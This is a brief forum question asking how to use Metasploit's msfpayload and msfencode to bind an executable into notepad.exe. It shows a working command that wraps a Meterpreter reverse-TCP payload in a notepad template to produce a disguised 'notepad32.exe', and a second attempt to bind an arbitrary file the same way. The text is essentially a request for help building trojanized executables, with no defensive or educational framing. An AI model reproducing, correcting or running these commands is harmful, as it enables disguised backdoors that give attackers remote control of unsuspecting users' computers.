I'm trying to bind two executables with msfpayload and the msfencode features. However, I'm not sure that msfpayload will accept a preexisting executable instead of an input like 'windows/meterpreter/reverse_tcp'.

This is what I would normally use:
./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=8080 R | ./msfencode -t exe -x notepad.exe -o notepad32.exe

This is what I'm trying to do:
./msfpayload MYFILE.exe X | ./msfencode -t exe -x notepad.exe -o notepad32.exe

Does msfpayload allow this type of executable input? If so, what am I doing wrong?